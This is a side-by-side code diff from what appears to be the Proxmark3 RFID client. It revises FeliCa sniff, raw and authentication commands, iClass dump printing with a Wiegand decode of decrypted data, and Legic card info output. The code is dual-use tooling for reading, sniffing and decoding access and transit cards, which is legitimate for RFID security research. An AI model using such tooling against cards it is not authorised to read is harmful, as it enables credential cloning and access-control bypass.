PrintAndLogEx(NORMAL, "\nIDm: %s", sprint_hex(reset_mode_response.frame_response.IDm, sizeof(reset_mode_response.frame_response.IDm))); PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(reset_mode_response.frame_response.IDm, sizeof(reset_mode_response.frame_response.IDm)));
PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(reset_mode_response.status_flags.status_flag1, sizeof(reset_mode_response.status_flags.status_flag1))); PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(reset_mode_response.status_flags.status_flag1, sizeof(reset_mode_response.status_flags.status_flag1)));
PrintAndLogEx(NORMAL, "Status Flag2: %s\n", sprint_hex(reset_mode_response.status_flags.status_flag2, sizeof(reset_mode_response.status_flags.status_flag2))); PrintAndLogEx(SUCCESS, "Status Flag2: %s\n", sprint_hex(reset_mode_response.status_flags.status_flag2, sizeof(reset_mode_response.status_flags.status_flag2)));
} }
} }
return PM3_SUCCESS; return PM3_SUCCESS;
} }
/** /**
* Command parser for rqsyscode * Command parser for rqsyscode
* @param Cmd input data of the user. * @param Cmd input data of the user.
@ -912,8 +1242,7 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) {
int i = 0; int i = 0;
while (Cmd[i] != '\0') { while (Cmd[i] != '\0') {
if (Cmd[i] == '-') { if (Cmd[i] == '-') {
switch (Cmd[i + 1]) { switch (tolower(Cmd[i + 1])) {
case 'H':
case 'h': case 'h':
return usage_hf_felica_request_system_code(); return usage_hf_felica_request_system_code();
case 'i': case 'i':
@ -943,18 +1272,19 @@ static int CmdHFFelicaRequestSystemCode(const char *Cmd) {
clear_and_send_command(flags, datalen, data, 0); clear_and_send_command(flags, datalen, data, 0);
PacketResponseNG resp; PacketResponseNG resp;
if (!waitCmdFelica(0, &resp, 1)) { if (!waitCmdFelica(0, &resp, 1)) {
PrintAndLogEx(ERR, "\nGot no Response from card"); PrintAndLogEx(ERR, "\nGot no response from card");
return PM3_ERFTRANS; return PM3_ERFTRANS;
} else { } else {
felica_syscode_response_t rq_syscode_response; felica_syscode_response_t rq_syscode_response;
memcpy(&rq_syscode_response, (felica_syscode_response_t *)resp.data.asBytes, sizeof(felica_syscode_response_t)); memcpy(&rq_syscode_response, (felica_syscode_response_t *)resp.data.asBytes, sizeof(felica_syscode_response_t));
if (rq_syscode_response.frame_response.IDm[0] != 0) { if (rq_syscode_response.frame_response.IDm[0] != 0) {
PrintAndLogEx(SUCCESS, "\nGot Request Response:"); PrintAndLogEx(SUCCESS, "\nGot Request Response:");
PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rq_syscode_response.frame_response.IDm, sizeof(rq_syscode_response.frame_response.IDm))); PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rq_syscode_response.frame_response.IDm, sizeof(rq_syscode_response.frame_response.IDm)));
PrintAndLogEx(NORMAL, " - Number of Systems: %s", sprint_hex(rq_syscode_response.number_of_systems, sizeof(rq_syscode_response.number_of_systems))); PrintAndLogEx(SUCCESS, " - Number of Systems: %s", sprint_hex(rq_syscode_response.number_of_systems, sizeof(rq_syscode_response.number_of_systems)));
PrintAndLogEx(NORMAL, " - System Codes: enumerated in ascending order starting from System 0."); PrintAndLogEx(SUCCESS, " - System Codes: enumerated in ascending order starting from System 0.");
for (uint8_t i = 0; i < rq_syscode_response.number_of_systems[0]; i++) { for (i = 0; i < rq_syscode_response.number_of_systems[0]; i++) {
PrintAndLogEx(NORMAL, " - %s", sprint_hex(rq_syscode_response.system_code_list + i * 2, sizeof(uint8_t) * 2)); PrintAndLogEx(SUCCESS, " - %s", sprint_hex(rq_syscode_response.system_code_list + i * 2, sizeof(uint8_t) * 2));
} }
} }
} }
@ -978,8 +1308,7 @@ static int CmdHFFelicaRequestService(const char *Cmd) {
strip_cmds(Cmd); strip_cmds(Cmd);
while (Cmd[i] != '\0') { while (Cmd[i] != '\0') {
if (Cmd[i] == '-') { if (Cmd[i] == '-') {
switch (Cmd[i + 1]) { switch (tolower(Cmd[i + 1])) {
case 'H':
case 'h': case 'h':
return usage_hf_felica_request_service(); return usage_hf_felica_request_service();
case 'i': case 'i':
@ -1002,21 +1331,30 @@ static int CmdHFFelicaRequestService(const char *Cmd) {
} }
i++; i++;
} }
if (!all_nodes) { if (!all_nodes) {
// Node Number // Node Number
if (param_getlength(Cmd, paramCount) == 2) { if (param_getlength(Cmd, paramCount) == 2) {
param_gethex(Cmd, paramCount++, data + 10, 2);
if (param_gethex(Cmd, paramCount++, data + 10, 2) == 1) {
PrintAndLogEx(ERR, "Failed param key");
return PM3_EINVARG;
}
} else { } else {
PrintAndLogEx(ERR, "Incorrect Node number length!"); PrintAndLogEx(ERR, "Incorrect Node number length!");
return PM3_EINVARG; return PM3_EINVARG;
} }
} }
// Node Code List
if (param_getlength(Cmd, paramCount) == 4) { if (param_getlength(Cmd, paramCount) == 4) {
param_gethex(Cmd, paramCount++, data + 11, 4);
if (param_gethex(Cmd, paramCount++, data + 11, 4) == 1) {
PrintAndLogEx(ERR, "Failed param key");
return PM3_EINVARG;
}
} else { } else {
PrintAndLogEx(ERR, "Incorrect Node Code List length!"); PrintAndLogEx(ERR, "Incorrect parameter length!");
return PM3_EINVARG; return PM3_EINVARG;
} }
@ -1024,13 +1362,16 @@ static int CmdHFFelicaRequestService(const char *Cmd) {
if (custom_IDm) { if (custom_IDm) {
flags |= FELICA_NO_SELECT; flags |= FELICA_NO_SELECT;
} }
if (datalen > 0) { if (datalen > 0) {
flags |= FELICA_RAW; flags |= FELICA_RAW;
} }
datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen;
if (!custom_IDm && !check_last_idm(data, datalen)) { if (!custom_IDm && !check_last_idm(data, datalen)) {
return PM3_EINVARG; return PM3_EINVARG;
} }
data[0] = int_to_hex(&datalen); data[0] = int_to_hex(&datalen);
data[1] = 0x02; // Service Request Command ID data[1] = 0x02; // Service Request Command ID
if (all_nodes) { if (all_nodes) {
@ -1051,7 +1392,8 @@ static int CmdHFFelicaRequestService(const char *Cmd) {
} }
static int CmdHFFelicaNotImplementedYet(const char *Cmd) { static int CmdHFFelicaNotImplementedYet(const char *Cmd) {
PrintAndLogEx(NORMAL, "Feature not implemented Yet!"); PrintAndLogEx(INFO, "Feature not implemented yet.");
PrintAndLogEx(INFO, "Feel free to contribute!");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
@ -1063,12 +1405,10 @@ static int CmdHFFelicaSniff(const char *Cmd) {
int i = 0; int i = 0;
while (Cmd[i] != '\0') { while (Cmd[i] != '\0') {
if (Cmd[i] == '-') { if (Cmd[i] == '-') {
switch (Cmd[i + 1]) { switch (tolower(Cmd[i + 1])) {
case 'h':
case 'H': case 'H':
return usage_hf_felica_sniff(); return usage_hf_felica_sniff();
case 's': case 's':
case 'S':
paramCount++; paramCount++;
if (param_getlength(Cmd, paramCount) < 5) { if (param_getlength(Cmd, paramCount) < 5) {
samples2skip = param_get32ex(Cmd, paramCount++, 0, 10); samples2skip = param_get32ex(Cmd, paramCount++, 0, 10);
@ -1078,7 +1418,6 @@ static int CmdHFFelicaSniff(const char *Cmd) {
} }
break; break;
case 't': case 't':
case 'T':
paramCount++; paramCount++;
if (param_getlength(Cmd, paramCount) < 5) { if (param_getlength(Cmd, paramCount) < 5) {
triggers2skip = param_get32ex(Cmd, paramCount++, 0, 10); triggers2skip = param_get32ex(Cmd, paramCount++, 0, 10);
@ -1095,13 +1434,15 @@ static int CmdHFFelicaSniff(const char *Cmd) {
} }
i++; i++;
} }
if (samples2skip <= 0) {
if (samples2skip == 0) {
samples2skip = 10; samples2skip = 10;
PrintAndLogEx(INFO, "Set default samples2skip: %i", samples2skip); PrintAndLogEx(INFO, "Set default samples2skip: %" PRIu64, samples2skip);
} }
if (triggers2skip <= 0) {
if (triggers2skip == 0) {
triggers2skip = 5000; triggers2skip = 5000;
PrintAndLogEx(INFO, "Set default triggers2skip: %i", triggers2skip); PrintAndLogEx(INFO, "Set default triggers2skip: %" PRIu64, triggers2skip);
} }
PrintAndLogEx(INFO, "Start Sniffing now. You can stop sniffing with clicking the PM3 Button"); PrintAndLogEx(INFO, "Start Sniffing now. You can stop sniffing with clicking the PM3 Button");
@ -1124,7 +1465,7 @@ static int CmdHFFelicaSimLite(const char *Cmd) {
} }
static void printSep() { static void printSep() {
PrintAndLogEx(NORMAL, "------------------------------------------------------------------------------------"); PrintAndLogEx(INFO, "------------------------------------------------------------------------------------");
} }
static uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace, uint16_t tracelen) { static uint16_t PrintFliteBlock(uint16_t tracepos, uint8_t *trace, uint16_t tracelen) {
@ -1360,8 +1701,7 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) {
while (Cmd[i] != '\0') { while (Cmd[i] != '\0') {
if (Cmd[i] == ' ' || Cmd[i] == '\t') { i++; continue; } if (Cmd[i] == ' ' || Cmd[i] == '\t') { i++; continue; }
if (Cmd[i] == '-') { if (Cmd[i] == '-') {
switch (Cmd[i + 1]) { switch (tolower(Cmd[i + 1])) {
case 'H':
case 'h': case 'h':
return usage_hf_felica_raw(); return usage_hf_felica_raw();
case 'r': case 'r':
@ -1403,9 +1743,9 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) {
sscanf(buf, "%x", &temp); sscanf(buf, "%x", &temp);
data[datalen] = (uint8_t)(temp & 0xff); data[datalen] = (uint8_t)(temp & 0xff);
*buf = 0; *buf = 0;
if (++datalen >= sizeof(data)) { if (++datalen >= (sizeof(data) - 2)) {
if (crc) if (crc)
PrintAndLogEx(NORMAL, "Buffer is full, we can't add CRC to your data"); PrintAndLogEx(WARNING, "Buffer is full, we can't add CRC to your data");
break; break;
} }
} }
@ -1439,12 +1779,12 @@ static int CmdHFFelicaCmdRaw(const char *Cmd) {
datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen;
clearCommandBuffer(); clearCommandBuffer();
PrintAndLogEx(NORMAL, "Data: %s", sprint_hex(data, datalen)); PrintAndLogEx(SUCCESS, "Data: %s", sprint_hex(data, datalen));
SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen);
if (reply) { if (reply) {
if (active_select) { if (active_select) {
PrintAndLogEx(NORMAL, "Active select wait for FeliCa."); PrintAndLogEx(SUCCESS, "Active select wait for FeliCa.");
PacketResponseNG resp_IDm; PacketResponseNG resp_IDm;
waitCmdFelica(1, &resp_IDm, 1); waitCmdFelica(1, &resp_IDm, 1);
} }
@ -1490,15 +1830,15 @@ int readFelicaUid(bool verbose) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(SUCCESS, "FeliCa tag info"); PrintAndLogEx(SUCCESS, "FeliCa tag info");
PrintAndLogEx(NORMAL, "IDm %s", sprint_hex(card.IDm, sizeof(card.IDm))); PrintAndLogEx(SUCCESS, "IDm %s", sprint_hex(card.IDm, sizeof(card.IDm)));
PrintAndLogEx(NORMAL, " - CODE %s", sprint_hex(card.code, sizeof(card.code))); PrintAndLogEx(SUCCESS, " - CODE %s", sprint_hex(card.code, sizeof(card.code)));
PrintAndLogEx(NORMAL, " - NFCID2 %s", sprint_hex(card.uid, sizeof(card.uid))); PrintAndLogEx(SUCCESS, " - NFCID2 %s", sprint_hex(card.uid, sizeof(card.uid)));
PrintAndLogEx(NORMAL, "Parameter (PAD) | %s", sprint_hex(card.PMm, sizeof(card.PMm))); PrintAndLogEx(SUCCESS, "Parameter (PAD) | %s", sprint_hex(card.PMm, sizeof(card.PMm)));
PrintAndLogEx(NORMAL, " - IC CODE %s", sprint_hex(card.iccode, sizeof(card.iccode))); PrintAndLogEx(SUCCESS, " - IC CODE %s", sprint_hex(card.iccode, sizeof(card.iccode)));
PrintAndLogEx(NORMAL, " - MRT %s", sprint_hex(card.mrt, sizeof(card.mrt))); PrintAndLogEx(SUCCESS, " - MRT %s", sprint_hex(card.mrt, sizeof(card.mrt)));
PrintAndLogEx(NORMAL, "SERVICE CODE %s", sprint_hex(card.servicecode, sizeof(card.servicecode))); PrintAndLogEx(SUCCESS, "SERVICE CODE %s", sprint_hex(card.servicecode, sizeof(card.servicecode)));
set_last_known_card(card); set_last_known_card(card);
break; break;
} }
@ -1513,16 +1853,16 @@ static command_t CommandTable[] = {
{"reader", CmdHFFelicaReader, IfPm3Felica, "Act like an ISO18092/FeliCa reader"}, {"reader", CmdHFFelicaReader, IfPm3Felica, "Act like an ISO18092/FeliCa reader"},
{"sniff", CmdHFFelicaSniff, IfPm3Felica, "Sniff ISO 18092/FeliCa traffic"}, {"sniff", CmdHFFelicaSniff, IfPm3Felica, "Sniff ISO 18092/FeliCa traffic"},
{"raw", CmdHFFelicaCmdRaw, IfPm3Felica, "Send raw hex data to tag"}, {"raw", CmdHFFelicaCmdRaw, IfPm3Felica, "Send raw hex data to tag"},
{"----------- FeliCa Standard (support in progress) -----------", CmdHelp, IfPm3Iso14443a, ""}, {"rdunencrypted", CmdHFFelicaReadWithoutEncryption, IfPm3Felica, "read Block Data from authentication-not-required Service."},
{"wrunencrypted", CmdHFFelicaWriteWithoutEncryption, IfPm3Felica, "write Block Data to an authentication-not-required Service."},
{"----------- FeliCa Standard -----------", CmdHelp, IfPm3Iso14443a, ""},
//{"dump", CmdHFFelicaDump, IfPm3Felica, "Wait for and try dumping FeliCa"}, //{"dump", CmdHFFelicaDump, IfPm3Felica, "Wait for and try dumping FeliCa"},
{"rqservice", CmdHFFelicaRequestService, IfPm3Felica, "verify the existence of Area and Service, and to acquire Key Version."}, {"rqservice", CmdHFFelicaRequestService, IfPm3Felica, "verify the existence of Area and Service, and to acquire Key Version."},
{"rqresponse", CmdHFFelicaRequestResponse, IfPm3Felica, "verify the existence of a card and its Mode."}, {"rqresponse", CmdHFFelicaRequestResponse, IfPm3Felica, "verify the existence of a card and its Mode."},
{"rdunencrypted", CmdHFFelicaReadWithoutEncryption, IfPm3Felica, "read Block Data from authentication-not-required Service."},
{"wrunencrypted", CmdHFFelicaWriteWithoutEncryption, IfPm3Felica, "write Block Data to an authentication-not-required Service."},
{"scsvcode", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire Area Code and Service Code."}, {"scsvcode", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire Area Code and Service Code."},
{"rqsyscode", CmdHFFelicaRequestSystemCode, IfPm3Felica, "acquire System Code registered to the card."}, {"rqsyscode", CmdHFFelicaRequestSystemCode, IfPm3Felica, "acquire System Code registered to the card."},
//{"auth1", CmdHFFelicaNotImplementedYet, IfPm3Felica, "authenticate a card."}, {"auth1", CmdHFFelicaAuthentication1, IfPm3Felica, "authenticate a card. Start mutual authentication with Auth1"},
//{"auth2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "allow a card to authenticate a Reader/Writer."}, {"auth2", CmdHFFelicaAuthentication2, IfPm3Felica, "allow a card to authenticate a Reader/Writer. Complete mutual authentication"},
//{"read", CmdHFFelicaNotImplementedYet, IfPm3Felica, "read Block Data from authentication-required Service."}, //{"read", CmdHFFelicaNotImplementedYet, IfPm3Felica, "read Block Data from authentication-required Service."},
//{"write", CmdHFFelicaNotImplementedYet, IfPm3Felica, "write Block Data to an authentication-required Service."}, //{"write", CmdHFFelicaNotImplementedYet, IfPm3Felica, "write Block Data to an authentication-required Service."},
//{"scsvcodev2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "verify the existence of Area or Service, and to acquire Key Version."}, //{"scsvcodev2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "verify the existence of Area or Service, and to acquire Key Version."},

View file

@ -28,7 +28,8 @@
#include "loclass/elite_crack.h" #include "loclass/elite_crack.h"
#include "fileutils.h" #include "fileutils.h"
#include "protocols.h" #include "protocols.h"
#include "wiegand_formats.h"
#include "wiegand_formatutils.h"
#define NUM_CSNS 9 #define NUM_CSNS 9
#define ICLASS_KEYS_MAX 8 #define ICLASS_KEYS_MAX 8
@ -334,15 +335,15 @@ static void fuse_config(const picopass_hdr *hdr) {
if (isset(fuses, FUSE_FPERS)) if (isset(fuses, FUSE_FPERS))
PrintAndLogEx(SUCCESS, " Mode: Personalization [Programmable]"); PrintAndLogEx(SUCCESS, " Mode: Personalization [Programmable]");
else else
PrintAndLogEx(NORMAL, " Mode: Application [Locked]"); PrintAndLogEx(SUCCESS, " Mode: Application [Locked]");
if (isset(fuses, FUSE_CODING1)) { if (isset(fuses, FUSE_CODING1)) {
PrintAndLogEx(NORMAL, " Coding: RFU"); PrintAndLogEx(SUCCESS, " Coding: RFU");
} else { } else {
if (isset(fuses, FUSE_CODING0)) if (isset(fuses, FUSE_CODING0))
PrintAndLogEx(NORMAL, " Coding: ISO 14443-2 B/ISO 15693"); PrintAndLogEx(SUCCESS, " Coding: ISO 14443-2 B/ISO 15693");
else else
PrintAndLogEx(NORMAL, " Coding: ISO 14443B only"); PrintAndLogEx(SUCCESS, " Coding: ISO 14443B only");
} }
// 1 1 // 1 1
if (isset(fuses, FUSE_CRYPT1) && isset(fuses, FUSE_CRYPT0)) PrintAndLogEx(SUCCESS, " Crypt: Secured page, keys not locked"); if (isset(fuses, FUSE_CRYPT1) && isset(fuses, FUSE_CRYPT0)) PrintAndLogEx(SUCCESS, " Crypt: Secured page, keys not locked");
@ -354,7 +355,7 @@ static void fuse_config(const picopass_hdr *hdr) {
if (notset(fuses, FUSE_CRYPT1) && notset(fuses, FUSE_CRYPT0)) PrintAndLogEx(NORMAL, " Crypt: No auth possible. Read only if RA is enabled"); if (notset(fuses, FUSE_CRYPT1) && notset(fuses, FUSE_CRYPT0)) PrintAndLogEx(NORMAL, " Crypt: No auth possible. Read only if RA is enabled");
if (isset(fuses, FUSE_RA)) if (isset(fuses, FUSE_RA))
PrintAndLogEx(NORMAL, " RA: Read access enabled"); PrintAndLogEx(SUCCESS, " RA: Read access enabled");
else else
PrintAndLogEx(WARNING, " RA: Read access not enabled"); PrintAndLogEx(WARNING, " RA: Read access not enabled");
} }
@ -918,6 +919,17 @@ static int CmdHFiClassDecrypt(const char *Cmd) {
saveFileJSON(fptr, jsfIclass, decrypted, decryptedlen); saveFileJSON(fptr, jsfIclass, decrypted, decryptedlen);
printIclassDumpContents(decrypted, 1, (decryptedlen / 8), decryptedlen); printIclassDumpContents(decrypted, 1, (decryptedlen / 8), decryptedlen);
uint32_t top = 0, mid, bot;
mid = bytes_to_num(decrypted + (8*7), 4);
bot = bytes_to_num(decrypted + (8*7) + 4, 4);
PrintAndLogEx(INFO, "");
PrintAndLogEx(INFO, "block 7 - Wiegand decode");
wiegand_message_t packed = initialize_message_object(top, mid, bot);
HIDTryUnpack(&packed, true);
PrintAndLogEx(INFO, "-----------------------------------------------------------------");
free(decrypted); free(decrypted);
free(fptr); free(fptr);
} }
@ -1871,13 +1883,13 @@ void printIclassDumpContents(uint8_t *iclass_dump, uint8_t startblock, uint8_t e
//PrintAndLog ("startblock: %d, endblock: %d, filesize: %d, maxmemcount: %d, filemaxblock: %d",startblock, endblock,filesize, maxmemcount, filemaxblock); //PrintAndLog ("startblock: %d, endblock: %d, filesize: %d, maxmemcount: %d, filemaxblock: %d",startblock, endblock,filesize, maxmemcount, filemaxblock);
int i = startblock; int i = startblock;
PrintAndLogEx(NORMAL, "------+--+-------------------------+"); PrintAndLogEx(INFO, "------+--+-------------------------+----------");
while (i <= endblock) { while (i <= endblock) {
uint8_t *blk = iclass_dump + (i * 8); uint8_t *blk = iclass_dump + (i * 8);
PrintAndLogEx(NORMAL, " |%02X| %s", i, sprint_hex_ascii(blk, 8)); PrintAndLogEx(INFO, " |%02X| %s", i, sprint_hex_ascii(blk, 8));
i++; i++;
} }
PrintAndLogEx(NORMAL, "------+--+-------------------------+"); PrintAndLogEx(INFO, "------+--+-------------------------+----------");
} }
static int CmdHFiClassReadTagFile(const char *Cmd) { static int CmdHFiClassReadTagFile(const char *Cmd) {
@ -2805,6 +2817,7 @@ int readIclass(bool loop, bool verbose) {
FLAG_ICLASS_READER_CONF | FLAG_ICLASS_READER_ONLY_ONCE | FLAG_ICLASS_READER_CONF | FLAG_ICLASS_READER_ONLY_ONCE |
FLAG_ICLASS_READER_ONE_TRY; FLAG_ICLASS_READER_ONE_TRY;
uint32_t res = PM3_ETIMEOUT;
// loop in client not device - else on windows have a communication error // loop in client not device - else on windows have a communication error
while (!kbd_enter_pressed()) { while (!kbd_enter_pressed()) {
@ -2827,12 +2840,13 @@ int readIclass(bool loop, bool verbose) {
} }
if (readStatus & FLAG_ICLASS_READER_CSN) { if (readStatus & FLAG_ICLASS_READER_CSN) {
PrintAndLogEx(NORMAL, " CSN: %s", sprint_hex(data, 8)); PrintAndLogEx(NORMAL, "\n");
PrintAndLogEx(SUCCESS, " CSN: %s", sprint_hex(data, 8));
tagFound = true; tagFound = true;
} }
if (readStatus & FLAG_ICLASS_READER_CC) { if (readStatus & FLAG_ICLASS_READER_CC) {
PrintAndLogEx(NORMAL, " CC: %s", sprint_hex(data + 16, 8)); PrintAndLogEx(SUCCESS, " CC: %s", sprint_hex(data + 16, 8));
} }
if (readStatus & FLAG_ICLASS_READER_CONF) { if (readStatus & FLAG_ICLASS_READER_CONF) {
@ -2847,7 +2861,7 @@ int readIclass(bool loop, bool verbose) {
bool se_enabled = (memcmp((uint8_t *)(data + 8 * 5), "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); bool se_enabled = (memcmp((uint8_t *)(data + 8 * 5), "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0);
PrintAndLogEx(NORMAL, " App IA: %s", sprint_hex(data + 8 * 5, 8)); PrintAndLogEx(SUCCESS, " App IA: %s", sprint_hex(data + 8 * 5, 8));
if (isHidRange) { if (isHidRange) {
if (legacy) if (legacy)
@ -2875,6 +2889,6 @@ int readIclass(bool loop, bool verbose) {
if (!loop) break; if (!loop) break;
} }
DropField(); DropField();
return PM3_SUCCESS; return res;
} }

View file

@ -210,7 +210,7 @@ static int CmdLegicInfo(const char *Cmd) {
crc = data[4]; crc = data[4];
uint32_t calc_crc = CRC8Legic(data, 4); uint32_t calc_crc = CRC8Legic(data, 4);
PrintAndLogEx(NORMAL, _YELLOW_("CDF: System Area")); PrintAndLogEx(SUCCESS, _YELLOW_("CDF: System Area"));
PrintAndLogEx(NORMAL, "------------------------------------------------------"); PrintAndLogEx(NORMAL, "------------------------------------------------------");
PrintAndLogEx(NORMAL, "MCD: %02x, MSN: %02x %02x %02x, MCC: %02x %s", PrintAndLogEx(NORMAL, "MCD: %02x, MSN: %02x %02x %02x, MCC: %02x %s",
data[0], data[0],
@ -229,7 +229,7 @@ static int CmdLegicInfo(const char *Cmd) {
// New unwritten media? // New unwritten media?
if (dcf == 0xFFFF) { if (dcf == 0xFFFF) {
PrintAndLogEx(NORMAL, "DCF: %d (%02x %02x), Token Type=NM (New Media)", PrintAndLogEx(SUCCESS, "DCF: %d (%02x %02x), Token Type=NM (New Media)",
dcf, dcf,
data[5], data[5],
data[6] data[6]
@ -262,7 +262,7 @@ static int CmdLegicInfo(const char *Cmd) {
stamp_len = 0xfc - data[6]; stamp_len = 0xfc - data[6];
} }
PrintAndLogEx(NORMAL, "DCF: %d (%02x %02x), Token Type=" _YELLOW_("%s") " (OLE=%01u), OL=%02u, FL=%02u", PrintAndLogEx(SUCCESS, "DCF: %d (%02x %02x), Token Type=" _YELLOW_("%s") " (OLE=%01u), OL=%02u, FL=%02u",
dcf, dcf,
data[5], data[5],
data[6], data[6],
@ -281,7 +281,7 @@ static int CmdLegicInfo(const char *Cmd) {
strncpy(token_type, "IM", sizeof(token_type) - 1); strncpy(token_type, "IM", sizeof(token_type) - 1);
} }
PrintAndLogEx(NORMAL, "DCF: %d (%02x %02x), Token Type = %s (OLE = %01u)", PrintAndLogEx(SUCCESS, "DCF: %d (%02x %02x), Token Type = %s (OLE = %01u)",
dcf, dcf,
data[5], data[5],
data[6], data[6],
@ -294,7 +294,7 @@ static int CmdLegicInfo(const char *Cmd) {
if (dcf != 0xFFFF) { if (dcf != 0xFFFF) {
if (bIsSegmented) { if (bIsSegmented) {
PrintAndLogEx(NORMAL, "WRP = %02u, WRC = %01u, RD = %01u, SSC = %02X", PrintAndLogEx(SUCCESS, "WRP = %02u, WRC = %01u, RD = %01u, SSC = %02X",
data[7] & 0x0f, data[7] & 0x0f,
(data[7] & 0x70) >> 4, (data[7] & 0x70) >> 4,
(data[7] & 0x80) >> 7, (data[7] & 0x80) >> 7,
@ -305,11 +305,11 @@ static int CmdLegicInfo(const char *Cmd) {
// Header area is only available on IM-S cards, on master tokens this data is the master token data itself // Header area is only available on IM-S cards, on master tokens this data is the master token data itself
if (bIsSegmented || dcf > 60000) { if (bIsSegmented || dcf > 60000) {
if (dcf > 60000) { if (dcf > 60000) {
PrintAndLogEx(NORMAL, "Master token data"); PrintAndLogEx(SUCCESS, "Master token data");
PrintAndLogEx(NORMAL, "%s", sprint_hex(data + 8, 14)); PrintAndLogEx(SUCCESS, "%s", sprint_hex(data + 8, 14));
} else { } else {
PrintAndLogEx(NORMAL, "Remaining Header Area"); PrintAndLogEx(SUCCESS, "Remaining Header Area");
PrintAndLogEx(NORMAL, "%s", sprint_hex(data + 9, 13)); PrintAndLogEx(SUCCESS, "%s", sprint_hex(data + 9, 13));
} }
} }
} }
@ -323,7 +323,7 @@ static int CmdLegicInfo(const char *Cmd) {
if (dcf > 60000) if (dcf > 60000)
goto out; goto out;
PrintAndLogEx(NORMAL, _YELLOW_("\nADF: User Area")); PrintAndLogEx(SUCCESS, _YELLOW_("\nADF: User Area"));
PrintAndLogEx(NORMAL, "------------------------------------------------------"); PrintAndLogEx(NORMAL, "------------------------------------------------------");
if (bIsSegmented) { if (bIsSegmented) {
@ -356,20 +356,20 @@ static int CmdLegicInfo(const char *Cmd) {
segCalcCRC = CRC8Legic(segCrcBytes, 8); segCalcCRC = CRC8Legic(segCrcBytes, 8);
segCRC = data[i + 4] ^ crc; segCRC = data[i + 4] ^ crc;
PrintAndLogEx(NORMAL, "Segment | %02u ", segmentNum); PrintAndLogEx(SUCCESS, "Segment | %02u ", segmentNum);
PrintAndLogEx(NORMAL, "raw header | 0x%02X 0x%02X 0x%02X 0x%02X", PrintAndLogEx(SUCCESS, "raw header | 0x%02X 0x%02X 0x%02X 0x%02X",
data[i] ^ crc, data[i] ^ crc,
data[i + 1] ^ crc, data[i + 1] ^ crc,
data[i + 2] ^ crc, data[i + 2] ^ crc,
data[i + 3] ^ crc data[i + 3] ^ crc
); );
PrintAndLogEx(NORMAL, "Segment len | %u, Flag: 0x%X (valid:%01u, last:%01u)", PrintAndLogEx(SUCCESS, "Segment len | %u, Flag: 0x%X (valid:%01u, last:%01u)",
segment_len, segment_len,
segment_flag, segment_flag,
(segment_flag & 0x4) >> 2, (segment_flag & 0x4) >> 2,
(segment_flag & 0x8) >> 3 (segment_flag & 0x8) >> 3
); );
PrintAndLogEx(NORMAL, " | WRP: %02u, WRC: %02u, RD: %01u, CRC: 0x%02X (%s)", PrintAndLogEx(SUCCESS, " | WRP: %02u, WRC: %02u, RD: %01u, CRC: 0x%02X (%s)",
wrp, wrp,
wrc, wrc,
((data[i + 3] ^ crc) & 0x80) >> 7, ((data[i + 3] ^ crc) & 0x80) >> 7,
@ -380,7 +380,7 @@ static int CmdLegicInfo(const char *Cmd) {
i += 5; i += 5;
if (hasWRC) { if (hasWRC) {
PrintAndLogEx(NORMAL, "\nWRC protected area: (I %d | K %d| WRC %d)", i, k, wrc); PrintAndLogEx(SUCCESS, "\nWRC protected area: (I %d | K %d| WRC %d)", i, k, wrc);
PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "\nrow | data");
PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------");
@ -393,7 +393,7 @@ static int CmdLegicInfo(const char *Cmd) {
} }
if (hasWRP) { if (hasWRP) {
PrintAndLogEx(NORMAL, "Remaining write protected area: (I %d | K %d | WRC %d | WRP %d WRP_LEN %d)", i, k, wrc, wrp, wrp_len); PrintAndLogEx(SUCCESS, "Remaining write protected area: (I %d | K %d | WRC %d | WRP %d WRP_LEN %d)", i, k, wrc, wrp, wrp_len);
PrintAndLogEx(NORMAL, "\nrow | data"); PrintAndLogEx(NORMAL, "\nrow | data");
PrintAndLogEx(NORMAL, "-----+------------------------------------------------"); PrintAndLogEx(NORMAL, "-----+------------------------------------------------");
@ -406,7 +406,7 @@ static int CmdLegicInfo(const char *Cmd) {
// does this one work? (Answer: Only if KGH/BGH is used with BCD encoded card number! So maybe this will show just garbage...) // does this one work? (Answer: Only if KGH/BGH is used with BCD encoded card number! So maybe this will show just garbage...)
if (wrp_len == 8) { if (wrp_len == 8) {
PrintAndLogEx(NORMAL, "Card ID: " _YELLOW_("%2X%02X%02X"), PrintAndLogEx(SUCCESS, "Card ID: " _YELLOW_("%2X%02X%02X"),
data[i - 4] ^ crc, data[i - 4] ^ crc,
data[i - 3] ^ crc, data[i - 3] ^ crc,
data[i - 2] ^ crc data[i - 2] ^ crc
@ -414,7 +414,7 @@ static int CmdLegicInfo(const char *Cmd) {
} }
} }
if (remain_seg_payload_len > 0) { if (remain_seg_payload_len > 0) {
